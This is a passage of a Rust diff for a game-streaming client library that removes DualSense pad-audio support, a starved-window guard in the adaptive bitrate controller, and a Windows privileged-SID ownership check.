-            if ConvertSidToStringSidW(owner, &mut sid_str).is_ok() && !sid_str.is_null() {
-                let text = sid_str.to_string().unwrap_or_default();
-                let _ = LocalFree(Some(HLOCAL(sid_str.0 as _)));
-                Some(text)
-            } else {
-                None
-            }
-        }
-    } else {
-        None
-    };
-    // SAFETY: `sd` is the LocalAlloc'd descriptor GetSecurityInfo returned (null when it failed,
-    // which LocalFree tolerates).
-    unsafe {
-        let _ = LocalFree(Some(HLOCAL(sd.0)));
-    }
-    out
-}
-
-/// SYSTEM, BUILTIN\Administrators, or a member of the Administrators-owned set — the principals a
-/// legitimate pf-vdisplay manager runs as.
-fn is_privileged_sid(sid: &str) -> bool {
-    matches!(sid, "S-1-5-18" | "S-1-5-32-544") || sid.starts_with("S-1-5-80-") // service SIDs
-}
@@ -670,12 +670,6 @@ pub const PUNKTFUNK_HIDOUT_TRIGGER: u8 = 3;
 /// side (0 = right pad, 1 = left pad); `effect[0..6]` packs `amplitude` / `period` / `count` as
 /// little-endian `u16`s with `effect_len = 6`. Clients without trackpad coils drop it.
 pub const PUNKTFUNK_HIDOUT_TRACKPAD_HAPTIC: u8 = 4;
-/// `PunktfunkHidOutput::kind` — the audio-control region of a DS5 output report (pad-audio
-/// routing/volumes; the audio SAMPLES arrive via [`punktfunk_connection_next_pad_audio`]).
-/// `which` = the condensed audio flags (bit0 = haptics-select, bits1..4 = the report's
-/// audio-valid flags); `effect[0..6]` = bytes 5..=10 of the report verbatim
-/// (headphone/speaker/mic volumes + routing) with `effect_len = 6`. Forwarded change-only.
-pub const PUNKTFUNK_HIDOUT_AUDIO_CTL: u8 = 5;
 /// Capacity of `PunktfunkHidOutput::effect` (the DualSense trigger parameter block).
 pub const PUNKTFUNK_HID_EFFECT_MAX: u8 = 11;

@@ -768,17 +762,6 @@ impl PunktfunkHidOutput {
                out.effect_len = 6;
            }
            HidOutput::HidRaw { .. } => return None,
-            HidOutput::AudioCtl { pad, flags, raw } => {
-                // Same packing idiom as TrackpadHaptic: `which` carries the flags byte,
-                // `effect[0..6]` the raw audio region. The u16 wire pad narrows losslessly
-                // because `HidOutput::decode` refuses one at or above `input::MAX_PADS` (B27) —
-                // it is enforced there, not merely assumed here.
-                out.kind = PUNKTFUNK_HIDOUT_AUDIO_CTL;
-                out.pad = *pad as u8;
-                out.which = *flags;
-                out.effect[0..6].copy_from_slice(raw);
-                out.effect_len = 6;
-            }
        }
        Some(out)
    }
@@ -1192,25 +1175,6 @@ pub const PUNKTFUNK_HOST_CAP_CLIPBOARD: u8 = 0x02;
 /// the client keeps its pen-as-touch fallback. (Mirrors `quic::HOST_CAP_PEN`;
 /// design/pen-tablet-input.md.)
 pub const PUNKTFUNK_HOST_CAP_PEN: u8 = 0x10;
-/// Host-capability bit in [`punktfunk_connection_host_caps`]: the host can capture per-gamepad
-/// audio (DualSense voice-coil haptics + speaker) and emit it on the 0xD1 plane toward pads
-/// declared capable via [`punktfunk_connection_set_pad_audio_caps`]. Set only when the client
-/// asked via [`PUNKTFUNK_CLIENT_CAP_PAD_AUDIO`]. (Mirrors `quic::HOST_CAP_PAD_AUDIO`.)
-pub const PUNKTFUNK_HOST_CAP_PAD_AUDIO: u8 = 0x40;
-
-/// Pad-audio `kind` ([`punktfunk_connection_next_pad_audio`]): the BACK channel pair — DualSense
-/// voice-coil haptics, 5 ms Opus frames. (Mirrors `quic::PAD_AUDIO_KIND_HAPTICS`.)
-pub const PUNKTFUNK_PAD_AUDIO_KIND_HAPTICS: u8 = 0;
-/// Pad-audio `kind`: the FRONT channel pair — the controller's built-in speaker, 10 ms Opus
-/// frames. (Mirrors `quic::PAD_AUDIO_KIND_SPEAKER`.)
-pub const PUNKTFUNK_PAD_AUDIO_KIND_SPEAKER: u8 = 1;
-
-/// [`punktfunk_connection_set_pad_audio_caps`] `audio_caps` bit: the pad renders the HAPTICS
-/// stream (a real DualSense's voice coils).
-pub const PUNKTFUNK_PAD_AUDIO_CAP_HAPTICS: u8 = 0x01;
-/// [`punktfunk_connection_set_pad_audio_caps`] `audio_caps` bit: the pad renders the SPEAKER
-/// stream.
-pub const PUNKTFUNK_PAD_AUDIO_CAP_SPEAKER: u8 = 0x02;

 // Keep the ABI cap bits in lockstep with the wire constants (compile-time guard against drift).
 #[cfg(feature = "quic")]
@@ -1225,20 +1189,6 @@ const _: () = {
    assert!(PUNKTFUNK_HOST_CAP_GAMEPAD_STATE == crate::quic::HOST_CAP_GAMEPAD_STATE);
    assert!(PUNKTFUNK_HOST_CAP_CLIPBOARD == crate::quic::HOST_CAP_CLIPBOARD);
    assert!(PUNKTFUNK_HOST_CAP_PEN == crate::quic::HOST_CAP_PEN);
-    assert!(PUNKTFUNK_HOST_CAP_PAD_AUDIO == crate::quic::HOST_CAP_PAD_AUDIO);
-    assert!(PUNKTFUNK_CLIENT_CAP_PAD_AUDIO == crate::quic::CLIENT_CAP_PAD_AUDIO);
-    assert!(PUNKTFUNK_PAD_AUDIO_KIND_HAPTICS == crate::quic::PAD_AUDIO_KIND_HAPTICS);
-    assert!(PUNKTFUNK_PAD_AUDIO_KIND_SPEAKER == crate::quic::PAD_AUDIO_KIND_SPEAKER);
-    // The setter's caps bits are the arrival flags bits 8/9 shifted down (the wire packing
-    // `input::encode_gamepad_arrival` applies).
-    assert!(
-        (PUNKTFUNK_PAD_AUDIO_CAP_HAPTICS as u32) << 8
-            == crate::input::ARRIVAL_FLAG_PAD_AUDIO_HAPTICS
-    );
-    assert!(
-        (PUNKTFUNK_PAD_AUDIO_CAP_SPEAKER as u32) << 8
-            == crate::input::ARRIVAL_FLAG_PAD_AUDIO_SPEAKER
-    );
    assert!(PUNKTFUNK_PEN_IN_RANGE == crate::quic::PEN_IN_RANGE);
    assert!(PUNKTFUNK_PEN_TOUCHING == crate::quic::PEN_TOUCHING);
    assert!(PUNKTFUNK_PEN_BARREL1 == crate::quic::PEN_BARREL1);
@@ -1821,13 +1771,6 @@ pub const PUNKTFUNK_CLIENT_CAP_CURSOR: u8 = 0x01;
 /// forward-compatible.
 pub const PUNKTFUNK_CLIENT_CAP_PHASE_LOCK: u8 = 0x02;

-/// [`punktfunk_connect_ex9`] `client_caps` bit: the client understands the pad-audio plane
-/// (0xD1 — per-gamepad DualSense voice-coil haptics + speaker). The embedder MUST then drain
-/// [`punktfunk_connection_next_pad_audio`] and declare each capable pad via
-/// [`punktfunk_connection_set_pad_audio_caps`]; the host emits pad audio only when it answers
-/// with [`PUNKTFUNK_HOST_CAP_PAD_AUDIO`]. (Mirrors `quic::CLIENT_CAP_PAD_AUDIO`.)
-pub const PUNKTFUNK_CLIENT_CAP_PAD_AUDIO: u8 = 0x08;
-
 /// Shared body of [`punktfunk_connect_ex7`] / [`punktfunk_connect_ex8`]: `status_out`
 /// (nullable) is written on EVERY path — `Ok`, the mapped [`PunktfunkError`],
 /// `InvalidArg` for bad arguments, `Panic` if the connect panicked.
@@ -2372,117 +2315,6 @@ pub unsafe extern "C" fn punktfunk_connection_next_audio_pcm(
    })
 }

-/// Pull the next pad-audio frame (0xD1) — one Opus frame of DualSense voice-coil haptics
-/// (`kind` = [`PUNKTFUNK_PAD_AUDIO_KIND_HAPTICS`], 5 ms) or built-in-speaker audio
-/// ([`PUNKTFUNK_PAD_AUDIO_KIND_SPEAKER`], 10 ms) for gamepad `*out_pad` — waiting up to
-/// `timeout_ms`. The payload is COPIED into `buf` (no borrow-until-next-call slot); the return
-/// value is its length in bytes, `0` = nothing this poll (timeout — or a DTX/oversized frame,
-/// both of which an embedder treats the same way), `-1` = the session ended (or an invalid
-/// handle/buffer). All pads/kinds share one queue — fan out by `*out_pad`/`*out_kind` to
-/// per-actuator Opus decoders. A frame larger than `buf_len` is dropped like the timeout case
-/// (the plane is lossy by design; any real Opus frame fits a 1500-byte buffer). Only a session
-/// connected with [`PUNKTFUNK_CLIENT_CAP_PAD_AUDIO`] against a
-/// [`PUNKTFUNK_HOST_CAP_PAD_AUDIO`] host — with the pad declared via
-/// [`punktfunk_connection_set_pad_audio_caps`] — ever receives any. Drain from a dedicated
-/// thread (one puller, may run alongside the other planes' pullers).
-///
-/// # Safety
-/// `c` is a valid connection handle; the `out_*` pointers are writable (NULLs are skipped);
-/// `buf` is writable for `buf_len` bytes.
-#[cfg(feature = "quic")]
-#[no_mangle]
-pub unsafe extern "C" fn punktfunk_connection_next_pad_audio(
-    c: *mut PunktfunkConnection,
-    out_pad: *mut u8,
-    out_kind: *mut u8,
-    out_seq: *mut u32,
-    out_pts_ns: *mut u64,
-    buf: *mut u8,
-    buf_len: usize,
-    timeout_ms: u32,
-) -> i32 {
-    let r = std::panic::catch_unwind(AssertUnwindSafe(|| {
-        // SAFETY: per the ABI contract - an opaque handle from a `*_new`/`*_pair` that the caller
-        // has not yet freed, or null, which `as_mut`/`as_ref` reports as `None` and the `match`
-        // here handles.
-        let c = match unsafe { c.as_ref() } {
-            Some(c) => c,
-            None => return -1,
-        };
-        if buf.is_null() && buf_len != 0 {
-            return -1;
-        }
-        match c
-            .inner
-            .next_pad_audio(std::time::Duration::from_millis(timeout_ms as u64))
-        {
-            Some(f) => {
-                if f.opus.is_empty() || f.opus.len() > buf_len {
-                    // DTX silence (skipped like the audio-PCM path — decoding an empty payload
-                    // as loss would synthesize concealment) or doesn't fit — report "nothing
-                    // this poll" (the next_hidout HidRaw-skip precedent; truncated Opus would
-                    // be undecodable anyway).
-                    return 0;
-                }
-                // SAFETY: per the ABI contract - each out-param below is OPTIONAL, so it is null-
-                // checked before it is written; `buf` is a caller-owned writable region of
-                // `buf_len` bytes and the copy length was just bounds-checked against it.
-                unsafe {
-                    if !out_pad.is_null() {
-                        *out_pad = f.pad;
-                    }
-                    if !out_kind.is_null() {
-                        *out_kind = f.kind;
-                    }
-                    if !out_seq.is_null() {
-                        *out_seq = f.seq;
-                    }
-                    if !out_pts_ns.is_null() {
-                        *out_pts_ns = f.pts_ns;
-                    }
-                    std::ptr::copy_nonoverlapping(f.opus.as_ptr(), buf, f.opus.len());
-                }
-                f.opus.len() as i32
-            }
-            // `None` folds timeout and closed; the shutdown flag tells them apart so the
-            // embedder's plane loop can exit instead of polling a dead session forever.
-            None if c.inner.is_session_ended() => -1,
-            None => 0,
-        }
-    }));
-    r.unwrap_or(-1)
-}
-
-/// Declare wire pad `pad`'s pad-audio render capabilities (`audio_caps`: OR of
-/// [`PUNKTFUNK_PAD_AUDIO_CAP_HAPTICS`] / [`PUNKTFUNK_PAD_AUDIO_CAP_SPEAKER`]) — how a client
-/// tells the host WHICH pads can actually play the 0xD1 streams. Call at controller attach,
-/// BEFORE the pad's arrival event is sent (the [`punktfunk_connection_set_rumble_quirks`]
-/// timing): the core folds the bits into the arrival's flags (bits 8/9), and only toward a
-/// [`PUNKTFUNK_HOST_CAP_PAD_AUDIO`] host — never calling this leaves the wire bytes exactly as
-/// before. Latest-wins per pad; unknown bits are masked off.
-///
-/// # Safety
-/// `c` is a valid connection handle. Callable from any thread.
-#[cfg(feature = "quic")]
-#[no_mangle]
-pub unsafe extern "C" fn punktfunk_connection_set_pad_audio_caps(
-    c: *mut PunktfunkConnection,
-    pad: u8,
-    audio_caps: u8,
-) -> PunktfunkStatus {
-    guard(|| {
-        // SAFETY: per the ABI contract - an opaque handle from a `*_new`/`*_pair` that the caller
-        // has not yet freed, or null, which `as_mut`/`as_ref` reports as `None` and the `match`
-        // here handles.
-        let c = match unsafe { c.as_ref() } {
-            Some(c) => c,
-            None => return PunktfunkStatus::NullPointer,
-        };
-        c.inner.set_pad_audio_caps(pad, audio_caps);
-        PunktfunkStatus::Ok
-    })
-}
-
 /// Pull the next rumble (force-feedback) update, waiting up to `timeout_ms`. Amplitudes
 /// are 0..0xFFFF (`low` = low-frequency motor, `high` = high-frequency), `(0, 0)` = stop.
 /// Same timeout/closed semantics as [`punktfunk_connection_next_audio`].
@@ -4585,36 +4417,3 @@ pub unsafe extern "C" fn punktfunk_reanchor_gate_is_holding(
        PunktfunkStatus::Ok
    })
 }
-
-#[cfg(all(test, feature = "quic"))]
-mod tests {
-    use super::*;
-
-    /// The `AudioCtl` → `PunktfunkHidOutput` mapping: kind 5, pad narrowed, `which` carries the
-    /// flags byte, `effect[0..6]` the raw audio region with `effect_len = 6` (the TrackpadHaptic
-    /// packing idiom — no struct growth, so the size guard above stays at 19).
-    #[test]
-    fn hidout_abi_maps_audio_ctl() {
-        let out = PunktfunkHidOutput::from_hid(&crate::quic::HidOutput::AudioCtl {
-            pad: 3,
-            flags: 0x17,
-            raw: [0x50, 0x60, 0x70, 0x05, 0, 0],
-        })
-        .unwrap();
-        assert_eq!(out.kind, PUNKTFUNK_HIDOUT_AUDIO_CTL);
-        assert_eq!(out.pad, 3);
-        assert_eq!(out.which, 0x17);
-        assert_eq!(out.effect_len, 6);
-        assert_eq!(out.effect[..6], [0x50, 0x60, 0x70, 0x05, 0, 0]);
-        assert_eq!(out.effect[6..], [0; 5]);
-        // A raw passthrough report still has no C representation (skipped at the pull site).
-        assert!(
-            PunktfunkHidOutput::from_hid(&crate::quic::HidOutput::HidRaw {
-                pad: 0,
-                kind: 0,
-                data: vec![0x80],
-            })
-            .is_none()
-        );
-    }
-}
@@ -159,17 +159,6 @@ const CAP_REPROBE_WINDOWS_MAX: u32 = 128;
 /// choke again at the same place, and only backoffs at a climbed-to rate can agree within the
 /// band (a cascade's second backoff sits at ×0.7 of the first: outside it by construction).
 const DECODE_CAP_SIMILAR_DIV: u32 = 8;
-/// A deciding window that DELIVERED under `current / STARVED_DELIVERY_DIV` is STARVED: the
-/// stream barely flowed (a host-side capture stall, an outage, a mid-window pause), so whatever
-/// distress the window carries — a flush, a keyframe-ask burst — is starvation-shaped, not
-/// rate-shaped, and the decoder decoded almost nothing at the nominal rate. Such a window may
-/// still back off (real damage deserves the safe response) but must never be a decode-knee
-/// sample: latching `current_kbps` off a starved window teaches a phantom decoder cap at
-/// whatever rate the stall interrupted (the periodic-capture-stall field case: every 5 s cycle
-/// offers another pair of "backoffs" at the same rate — a bogus latch that then fights the
-/// re-probe ladder for minutes). Deliberately far below the ×¾ utilization bar climbs require:
-/// the band between them is ambiguous and keeps today's behavior.
-const STARVED_DELIVERY_DIV: u32 = 4;
 /// Rolling window (in 750 ms report windows, ~30 s) whose minimum mean is the OWD baseline.
 /// Long enough to remember the uncongested floor, short enough to follow genuine path changes.
 const BASELINE_WINDOWS: usize = 40;
@@ -708,10 +697,6 @@ impl BitrateController {
                || self.streak_decode_windows >= BAD_WINDOWS_TO_DECREASE
                || (recovery_kf >= RECOVERY_KF_BAD && loss_ppm < HEAVY_LOSS_PPM)
                || (flushed && (decode_bad || decode_mean_us.is_none()));
-            // Starved deciding window (see [`STARVED_DELIVERY_DIV`]): the stream barely flowed,
-            // so the window says nothing about what the decoder can hold at this rate.
-            let starved =
-                (actual_kbps as u64) * (STARVED_DELIVERY_DIV as u64) < self.current_kbps as u64;
            if !self.climb_since_backoff {
                // Still draining the previous backoff: the host acks a ×0.7 request in ~100 ms,
                // so this window's rate is one the decoder never choked at while keeping up —
@@ -723,17 +708,6 @@ impl BitrateController {
                    "adaptive bitrate: backoff without an intervening climb — draining the \
                     previous choke, not a knee sample"
                );
-            } else if starved {
-                // Same "not a knee sample either way" treatment as the draining arm: neither
-                // latch against a starved window nor let it erase the reference a real knee
-                // set — the next genuine choke at that rate must still find its pair.
-                tracing::debug!(
-                    at_kbps = self.current_kbps,
-                    actual_kbps,
-                    reference_kbps = self.decode_backoff_kbps,
-                    "adaptive bitrate: backoff in a starved window (delivery a fraction of \
-                     the target) — starvation-shaped distress, not a knee sample"
-                );
            } else if decode_evidence {
                let rate = self.current_kbps;
                let similar = self.decode_backoff_kbps > 0
@@ -2110,100 +2084,6 @@ mod tests {
        rate - rate / 16
    }

-    /// One capture-stall-shaped window at the current rate: almost nothing delivered
-    /// (current/10), nothing decoded, no loss — but a jump-to-live flush and a keyframe-ask
-    /// storm (the stall edge's damage signature). SEVERE, so it backs off; STARVED, so it must
-    /// never be a knee sample.
-    fn stall_choke(c: &mut BitrateController, start: Instant, tick: &mut u32) -> Option<u32> {
-        *tick += 2;
-        let r = c.on_window(
-            ticks(start, *tick),
-            0,
-            0,
-            None,
-            None,
-            None,
-            c.current_kbps / 10,
-            true,
-            RECOVERY_KF_SEVERE,
-        );
-        *tick += 1;
-        r
-    }
-
-    #[test]
-    fn capture_stall_windows_never_latch_a_decode_cap() {
-        // The periodic-capture-stall field case (RDNA4 standby-sink, 5 s cycle): every stall
-        // edge offers another flush + kf-storm "backoff" at the SAME rate — without the starved
-        // guard that pair latches a phantom decoder knee at whatever rate the display driver
-        // happened to interrupt, and the session then fights the re-probe ladder for minutes.
-        let mut c = BitrateController::new(240_000);
-        c.set_ceiling(900_000);
-        let start = Instant::now();
-        let mut t = 0;
-        for _ in 0..4 {
-            calm_window(&mut c, ticks(start, t));
-            t += 1;
-        }
-        climb_to(&mut c, start, &mut t, 400_000);
-        let at = c.current_kbps;
-        let r1 = stall_choke(&mut c, start, &mut t).expect("stall damage still backs off");
-        assert!(
-            c.decode_cap_kbps.is_none(),
-            "one starved window must not latch"
-        );
-        assert_eq!(
-            c.decode_backoff_kbps, 0,
-            "a starved window is not a knee sample — no reference recorded"
-        );
-        c.on_ack(r1);
-        climb_to(&mut c, start, &mut t, at - at / DECODE_CAP_SIMILAR_DIV);
-        let r2 = stall_choke(&mut c, start, &mut t).expect("second stall edge backs off too");
-        c.on_ack(r2);
-        assert!(
-            c.decode_cap_kbps.is_none(),
-            "a starved pair at the same rate must not latch a phantom knee"
-        );
-    }
-
-    #[test]
-    fn starved_window_preserves_the_knee_reference() {
-        // A REAL knee sample, then a stall edge, then the genuine re-climb choke: the starved
-        // window in the middle must neither latch nor ERASE the reference the real choke set —
-        // the genuine pair must still find each other around it.
-        let mut c = BitrateController::new(500_000);
-        c.set_ceiling(900_000);
-        let start = Instant::now();
-        let mut t = 0;
-        for _ in 0..4 {
-            calm_window(&mut c, ticks(start, t));
-            t += 1;
-        }
-        let knee = c.current_kbps;
-        let r1 = choke(&mut c, start, &mut t).expect("real choke backs off");
-        assert_eq!(
-            c.decode_backoff_kbps, knee,
-            "real choke records the reference"
-        );
-        c.on_ack(r1);
-        climb_to(&mut c, start, &mut t, knee - knee / DECODE_CAP_SIMILAR_DIV);
-        let r2 = stall_choke(&mut c, start, &mut t).expect("stall edge backs off");
-        assert_eq!(
-            c.decode_backoff_kbps, knee,
-            "the starved window must not erase the real reference"
-        );
-        assert!(c.decode_cap_kbps.is_none(), "and must not latch against it");
-        c.on_ack(r2);
-        climb_to(&mut c, start, &mut t, knee - knee / DECODE_CAP_SIMILAR_DIV);
-        let rate = c.current_kbps;
-        choke(&mut c, start, &mut t).expect("genuine re-climb choke backs off");
-        assert_eq!(
-            c.decode_cap_kbps,
-            Some(rate - rate / 16),
-            "the genuine pair still latches around the starved interruption"
-        );
-    }
-
    #[test]
    fn decode_cap_latches_when_the_reclimb_chokes_at_the_same_knee() {
        // The 1440p120 field sawtooth: a decoder knee (~500 Mbps) well under the (inflated)
@@ -16,13 +16,11 @@ use crate::config::{CompositorPref, GamepadPref, Mode};
 use crate::error::{PunktfunkError, Result};
 use crate::input::InputEvent;
 use crate::quic::{
-    endpoint, ClipControl, ClipKind, ClipOffer, ColorInfo, HdrMeta, HidOutput, PadAudioFrame,
-    ProbeRequest, RfiRequest, RichInput,
+    endpoint, ClipControl, ClipKind, ClipOffer, ColorInfo, HdrMeta, HidOutput, ProbeRequest,
+    RfiRequest, RichInput,
 };
 use crate::session::Frame;
-use std::sync::atomic::{
-    AtomicBool, AtomicI64, AtomicU16, AtomicU32, AtomicU64, AtomicU8, Ordering,
-};
+use std::sync::atomic::{AtomicBool, AtomicI64, AtomicU16, AtomicU32, AtomicU64, Ordering};
 use std::sync::mpsc::{Receiver, RecvTimeoutError};
 use std::sync::{Arc, Mutex};
 use std::time::{Duration, Instant};
@@ -45,7 +43,7 @@ use self::control::{CtrlRequest, Negotiated};
 use self::frame_channel::{DecodeLatAcc, FrameChannel, FramePop};
 use self::planes::{
    RumbleUpdate, AUDIO_QUEUE, CLIP_EVENT_QUEUE, CURSOR_SHAPE_QUEUE, CURSOR_STATE_QUEUE,
-    HDR_META_QUEUE, HIDOUT_QUEUE, HOST_TIMING_QUEUE, PAD_AUDIO_QUEUE, RUMBLE_QUEUE,
+    HDR_META_QUEUE, HIDOUT_QUEUE, HOST_TIMING_QUEUE, RUMBLE_QUEUE,
 };
 use self::probe::ProbeState;
 use self::pump::run_pump;
@@ -124,14 +122,6 @@ pub struct NativeClient {
    rumble_sched: Arc<rumble::RumbleShared>,
    /// Inbound DualSense feedback (lightbar / player LEDs / adaptive triggers) — 0xCD datagrams.
    hidout: Mutex<Receiver<HidOutput>>,
-    /// Inbound pad audio (DualSense voice-coil haptics + speaker Opus frames) — 0xD1 datagrams.
-    /// Only a session that advertised [`quic::CLIENT_CAP_PAD_AUDIO`] against a
-    /// [`quic::HOST_CAP_PAD_AUDIO`] host ever receives any.
-    pad_audio: Mutex<Receiver<PadAudioFrame>>,
-    /// Per-pad pad-audio render capabilities (bit0 haptics, bit1 speaker), written by
-    /// [`NativeClient::set_pad_audio_caps`] and OR'd into outgoing gamepad-arrival flags
-    /// (bits 8/9) by the worker's input task — toward a `HOST_CAP_PAD_AUDIO` host only.
-    pad_audio_caps: Arc<[AtomicU8; crate::input::MAX_PADS]>,
    /// Inbound static HDR metadata (ST.2086 mastering + content light level) — 0xCE datagrams.
    hdr_meta: Mutex<Receiver<HdrMeta>>,
    /// Inbound per-AU host capture→send timings — 0xCF datagrams (the client always advertises
@@ -428,10 +418,6 @@ impl NativeClient {
        let rumble_sched = Arc::new(rumble::RumbleShared::new());
        let rumble_feed = rumble::RumbleFeed(rumble_sched.clone());
        let (hidout_tx, hidout_rx) = std::sync::mpsc::sync_channel::<HidOutput>(HIDOUT_QUEUE);
-        let (pad_audio_tx, pad_audio_rx) =
-            std::sync::mpsc::sync_channel::<PadAudioFrame>(PAD_AUDIO_QUEUE);
-        let pad_audio_caps: Arc<[AtomicU8; crate::input::MAX_PADS]> =
-            Arc::new(std::array::from_fn(|_| AtomicU8::new(0)));
        let (hdr_meta_tx, hdr_meta_rx) = std::sync::mpsc::sync_channel::<HdrMeta>(HDR_META_QUEUE);
        let (host_timing_tx, host_timing_rx) =
            std::sync::mpsc::sync_channel::<crate::quic::HostTiming>(HOST_TIMING_QUEUE);
@@ -473,7 +459,6 @@ impl NativeClient {
        let clock_offset_w = clock_offset.clone();
        let decode_lat_w = decode_lat.clone();
        let live_bitrate_w = live_bitrate.clone();
-        let pad_audio_caps_w = pad_audio_caps.clone();
        let ctrl_tx_pump = ctrl_tx.clone(); // the data-plane pump sends adaptive-FEC LossReports
        let worker = std::thread::Builder::new()
            .name("punktfunk-client".into())
@@ -523,8 +508,6 @@ impl NativeClient {
                    rumble_tx,
                    rumble_feed,
                    hidout_tx,
-                    pad_audio_tx,
-                    pad_audio_caps: pad_audio_caps_w,
                    hdr_meta_tx,
                    host_timing_tx,
                    cursor_shape_tx,
@@ -573,8 +556,6 @@ impl NativeClient {
            rumble: Mutex::new(rumble_rx),
            rumble_sched,
            hidout: Mutex::new(hidout_rx),
-            pad_audio: Mutex::new(pad_audio_rx),
-            pad_audio_caps,
            hdr_meta: Mutex::new(hdr_meta_rx),
            host_timing: Mutex::new(host_timing_rx),
            cursor_shape: Mutex::new(cursor_shape_rx),
@@ -1080,33 +1061,6 @@ impl NativeClient {
        }
    }

-    /// Pull the next pad-audio frame (0xD1): one Opus frame of DualSense voice-coil haptics
-    /// ([`quic::PAD_AUDIO_KIND_HAPTICS`], 5 ms) or built-in-speaker audio
-    /// ([`quic::PAD_AUDIO_KIND_SPEAKER`], 10 ms) for gamepad `pad`. All pads/kinds share the
-    /// queue — the embedder fans out by `pad`/`kind` to per-actuator Opus decoders. `None` on
-    /// timeout AND once the session ended ([`is_session_ended`](Self::is_session_ended)
-    /// distinguishes, and the plane is best-effort either way). Only a session that advertised
-    /// [`quic::CLIENT_CAP_PAD_AUDIO`] against a [`quic::HOST_CAP_PAD_AUDIO`] host — with the
-    /// pad's render caps declared via [`set_pad_audio_caps`](Self::set_pad_audio_caps) — ever
-    /// receives any. Drain on a dedicated thread like [`next_audio`](Self::next_audio); one
-    /// puller per the plane contract.
-    pub fn next_pad_audio(&self, timeout: Duration) -> Option<PadAudioFrame> {
-        self.pad_audio.lock().unwrap().recv_timeout(timeout).ok()
-    }
-
-    /// Declare wire pad `pad`'s pad-audio render capabilities: `audio_caps` bit0 = the pad can
-    /// play the HAPTICS stream (a real DualSense's voice coils), bit1 = the SPEAKER stream.
-    /// Call at controller attach, BEFORE the pad's arrival is sent (like
-    /// [`set_rumble_quirks`](Self::set_rumble_quirks)) — the worker ORs the bits into the
-    /// arrival's flags (bits 8/9), and only toward a [`quic::HOST_CAP_PAD_AUDIO`] host, so an
-    /// embedder that never calls this (or a host that can't capture pad audio) leaves the wire
-    /// bytes exactly as before. Latest-wins per pad; unknown bits are masked off.
-    pub fn set_pad_audio_caps(&self, pad: u8, audio_caps: u8) {
-        if let Some(slot) = self.pad_audio_caps.get(pad as usize) {
-            slot.store(audio_caps & 0x03, Ordering::Relaxed);
-        }
-    }
-
    /// Pull the next static HDR metadata update (ST.2086 mastering display + content light level)
    /// the host sent for an HDR session; same timeout/closed semantics as
    /// [`NativeClient::next_hidout`]. The host sends one near session start and re-sends it on
@@ -20,12 +20,6 @@ pub(crate) type RumbleUpdate = (u16, u16, u16, Option<u16>);
 /// Same overflow discipline as rumble; the host re-sends on the next feedback change.
 pub(crate) const HIDOUT_QUEUE: usize = 32;

-/// Pad-audio frames (`0xD1` — DualSense voice-coil haptics + speaker) buffered for the embedder,
-/// ALL pads and kinds on one queue (the embedder fans out by `pad`/`kind`): 64 × 5 ms = 320 ms of
-/// slack on a haptics-only stream, the [`AUDIO_QUEUE`] discipline. A lagging embedder drops the
-/// newest frame (the renderer conceals the gap).
-pub(crate) const PAD_AUDIO_QUEUE: usize = 64;
-
 /// Static HDR metadata (ST.2086 mastering + content light level) buffered for the embedder. Tiny
 /// and low-rate (one on start, re-sent on mastering changes / keyframes); a small ring is ample.
 pub(crate) const HDR_META_QUEUE: usize = 8;
@@ -50,8 +50,6 @@ pub(super) async fn run_pump(args: WorkerArgs) {
        rumble_tx,
        rumble_feed,
        hidout_tx,
-        pad_audio_tx,
-        pad_audio_caps,
        hdr_meta_tx,
        host_timing_tx,
        cursor_shape_tx,
@@ -94,17 +92,9 @@ pub(super) async fn run_pump(args: WorkerArgs) {

    // Input task: embedder events → uplink datagrams, with per-transition gamepad events
    // folded into idempotent seq-stamped snapshots toward a HOST_CAP_GAMEPAD_STATE host
-    // (see [`input_task`]). Pad-audio render caps ride arrival flags bits 8/9 ONLY toward a
-    // HOST_CAP_PAD_AUDIO host — an older host reads the whole flags word as the pad index.
+    // (see [`input_task`]).
    let gamepad_snapshots = host_caps & crate::quic::HOST_CAP_GAMEPAD_STATE != 0;
-    let pad_audio_arrivals = host_caps & crate::quic::HOST_CAP_PAD_AUDIO != 0;
-    tokio::spawn(input_task::run(
-        conn.clone(),
-        input_rx,
-        gamepad_snapshots,
-        pad_audio_arrivals,
-        pad_audio_caps,
-    ));
+    tokio::spawn(input_task::run(conn.clone(), input_rx, gamepad_snapshots));

    // Mic task: embedder Opus mic frames → 0xCB uplink datagrams (best-effort, dropped on loss).
    // Self-healing latency bound: every frame still queued once this task catches up is standing
@@ -176,7 +166,6 @@ pub(super) async fn run_pump(args: WorkerArgs) {
        rumble_tx,
        rumble_feed,
        hidout_tx,
-        pad_audio_tx,
        hdr_meta_tx,
        host_timing_tx,
        encode_lat.clone(),
@@ -12,7 +12,6 @@ pub(super) async fn run(
    rumble_tx: std::sync::mpsc::SyncSender<RumbleUpdate>,
    rumble_feed: super::super::rumble::RumbleFeed,
    hidout_tx: std::sync::mpsc::SyncSender<crate::quic::HidOutput>,
-    pad_audio_tx: std::sync::mpsc::SyncSender<crate::quic::PadAudioFrame>,
    hdr_meta_tx: std::sync::mpsc::SyncSender<crate::quic::HdrMeta>,
    host_timing_tx: std::sync::mpsc::SyncSender<crate::quic::HostTiming>,
    // The ABR encode signal's accumulator (see [`EncodeLatAcc`]) — fed HERE, not off
@@ -101,11 +100,6 @@ pub(super) async fn run(
                    let _ = hidout_tx.try_send(h);
                }
            }
-            Some(&crate::quic::PAD_AUDIO_MAGIC) => {
-                if let Some(f) = crate::quic::decode_pad_audio_datagram(&d) {
-                    let _ = pad_audio_tx.try_send(f);
-                }
-            }
            Some(&crate::quic::HDR_META_MAGIC) => {
                if let Some(m) = crate::quic::decode_hdr_meta_datagram(&d) {
                    let _ = hdr_meta_tx.try_send(m);
@@ -15,16 +15,8 @@ pub(super) async fn run(
    conn: quinn::Connection,
    mut input_rx: tokio::sync::mpsc::UnboundedReceiver<InputEvent>,
    gamepad_snapshots: bool,
-    // Whether the host advertised HOST_CAP_PAD_AUDIO: only then do arrivals carry the per-pad
-    // audio-render bits (flags 8/9) — an older host reads the whole flags word as the pad index,
-    // so unexpected high bits would make it drop the kind declaration entirely.
-    pad_audio: bool,
-    // Per-pad audio-render capabilities (bit0 haptics, bit1 speaker), fed by the embedder via
-    // [`NativeClient::set_pad_audio_caps`] and by arrival events already carrying the bits.
-    pad_audio_caps: std::sync::Arc<[std::sync::atomic::AtomicU8; crate::input::MAX_PADS]>,
 ) {
    use crate::input::{GamepadSnapshot, InputKind, MAX_PADS};
-    use std::sync::atomic::Ordering;
    // Touched pads only: an entry appears on the first gamepad event for that index, so the
    // refresh never conjures a virtual pad the embedder didn't drive.
